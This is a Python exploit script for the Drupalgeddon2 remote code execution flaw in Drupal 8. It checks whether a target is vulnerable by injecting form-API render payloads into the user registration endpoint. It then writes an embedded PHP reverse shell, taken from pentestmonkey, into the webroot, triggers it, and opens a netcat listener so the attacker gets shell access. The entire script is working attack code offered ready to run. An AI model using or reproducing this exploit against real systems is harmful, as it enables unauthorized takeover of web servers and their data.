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drupalgeddon2.py
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drupalgeddon2.py
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#!/usr/bin/env python3
#PHP reverse shell taken from https://github.com/pentestmonkey/php-reverse-shell
import subprocess
import threading
import time
import requests
import re
import argparse
import random
import string
import urllib.parse
import base64
banner = """
'########::'########::'##::::'##:'########:::::'###::::'##:::::::
##.... ##: ##.... ##: ##:::: ##: ##.... ##:::'## ##::: ##:::::::
##:::: ##: ##:::: ##: ##:::: ##: ##:::: ##::'##:. ##:: ##:::::::
##:::: ##: ########:: ##:::: ##: ########::'##:::. ##: ##:::::::
##:::: ##: ##.. ##::: ##:::: ##: ##.....::: #########: ##:::::::
##:::: ##: ##::. ##:: ##:::: ##: ##:::::::: ##.... ##: ##:::::::
########:: ##:::. ##:. #######:: ##:::::::: ##:::: ##: ########:
........:::..:::::..:::.......:::..:::::::::..:::::..::........::
:'######:::'########:'########::'########:::'#######::'##::: ##::'#######::
'##... ##:: ##.....:: ##.... ##: ##.... ##:'##.... ##: ###:: ##:'##.... ##:
##:::..::: ##::::::: ##:::: ##: ##:::: ##: ##:::: ##: ####: ##:..::::: ##:
##::'####: ######::: ##:::: ##: ##:::: ##: ##:::: ##: ## ## ##::'#######::
##::: ##:: ##...:::: ##:::: ##: ##:::: ##: ##:::: ##: ##. ####:'##::::::::
##::: ##:: ##::::::: ##:::: ##: ##:::: ##: ##:::: ##: ##:. ###: ##::::::::
. ######::: ########: ########:: ########::. #######:: ##::. ##: #########:
:......::::........::........:::........::::.......:::..::::..::.........::
+-+-+ +-+-+-+-+-+
|B|y| |v|r|v|i|k|
+-+-+ +-+-+-+-+-+
"""
def get_random_string(length):
# Random string with the combination of lower and upper case
letters = string.ascii_letters
random_str = ''.join(random.choice(letters) for i in range(length))
return random_str
def is_host_alive(base_url):
resp = requests.get(base_url, verify=False)
if resp.status_code == 200:
xgen = resp.headers['X-Generator']
return xgen[7:8]
else:
return False
def vuln_check(base_url, version):
global random_str_for_init_check
random_str_for_init_check = get_random_string(8)
elements = {
'7': {
'name': False
},
'8': {
'mail': False,
'timezone': False
}
}
headers = {
'User-Agent': 'drupalgeddon2',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Content-Type': 'application/x-www-form-urlencoded'
}
#vuln_flag = False
for ver in elements.keys():
if ver == '7' and ver == version:
for element in elements[ver]:
#url = base_url + '/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
print('DRUPAL 7 PART YET TO BE CODED!!!!!')
exit()
elif ver == '8' and ver == version:
for element in elements[ver].keys():
if element == 'mail':
url = base_url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = f'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=echo+"pwned"+|+tee+{random_str_for_init_check}.txt'
vuln_check_post = requests.post(url, headers=headers, data=payload, verify=False)
if vuln_check_post.status_code == 200:
check_uploaded_payload = requests.get(base_url + '/' + random_str_for_init_check + '.txt', verify=False)
if check_uploaded_payload.status_code == 200 and check_uploaded_payload.content.decode('utf-8').strip() == 'pwned':
elements[ver][element] = True
elif element == 'timezone' and not elements[ver]['mail']:
url = base_url + '/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = f'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=echo+"pwned"+|+tee+{random_str_for_init_check}.txt'
vuln_check_post = requests.post(url, headers=headers, data=payload, verify=False)
if vuln_check_post.status_code == 500:
check_uploaded_payload = requests.get(base_url + '/' + random_str_for_init_check + '.txt', verify=False)
if check_uploaded_payload.status_code == 200 and check_uploaded_payload.content.decode('utf-8').strip() == 'pwned':
elements[ver][element] = True
return elements
def upload(base_url, lhost, lport, version, method):
global random_str_for_rev_payload
random_str_for_rev_payload = get_random_string(8)
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Content-Type': 'application/x-www-form-urlencoded'
}
if version == '7':
pass
elif version == '8':
php_reverse_shell = """
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '%s';
$port = %s;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
"""%(lhost,lport)
reverse_shell = php_reverse_shell.encode('ascii')
enc_reverse_shell = base64.b64encode(reverse_shell).decode('utf-8')
rev_payload = urllib.parse.quote_plus(f'echo {enc_reverse_shell} | base64 -d | tee {random_str_for_rev_payload}.php')
if method == 'mail':
url = base_url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = f'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]={rev_payload}'
elif method == 'timezone':
url = base_url + '/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = f'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]={rev_payload}'
rev_payload_upload = requests.post(url, headers=headers, data=payload, verify=False)
return True if rev_payload_upload.status_code == 200 else False
def exploit(base_url):
time.sleep(5)
url = base_url + '/' + random_str_for_rev_payload + '.php'
requests.get(url, verify=False)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t', type=str, required=True, help='Target URL, example: http://10.10.10.10', dest='target')
parser.add_argument('-l', type=str, required=True, help='localhost IP to listen on', dest='lhost')
parser.add_argument('-p', type=str, required=True, help='localhost Port to listen on', dest='lport')
args = parser.parse_args()
print(banner)
if args.target is None or args.lhost is None or args.lport is None:
parser.print_help()
exit()
if bool(re.search('[hH][tT][tT][pP][sS]?\:\/\/', args.target)) == False:
print('There is something wrong with the URL, it needs to have http://\n\n')
exit()
version = is_host_alive(args.target)
if version:
print(f'Drupal Installation detected on the given target.\n')
print(f"Look's like the target is running Drupal version:{version}\n")
print('Checking if the target is vulnerable...\n')
vuln_flags = vuln_check(args.target, version)
vuln_method = ''
for element in vuln_flags[version]:
if vuln_flags[version][element]:
vuln_method = element
break
if vuln_method:
print(f'\nInitial Vuln check on the target success!!! Target is vulnerable to {vuln_method}!!!\nMoving on with uploading the actual reverse shell...\n')
if upload(args.target, args.lhost, args.lport, version, vuln_method):
print(f'\nReverse Shell Payload uploaded successfully to {args.target}/{random_str_for_rev_payload}.php\n')
print('\nHold On!!!! Triggering this payload\n')
z = threading.Thread(target=exploit, args=(args.target,))
z.daemon = True
z.start()
print(f'Starting a listener on port {args.lport}, Please wait... this might take a few seconds.\n')
try:
subprocess.run('nc -nlvp ' + args.lport, shell=True)
except Exception as e:
print(f'\nException Occured: {e}')
else:
print("\nFailed to upload the reverse shell\n")
exit()
else:
print("\nGiven Target is not Vulnerable.\n")
exit()
else:
print("\nCannot find any Drupal Installation on the given URL, check the URL and try again.\n")
exit()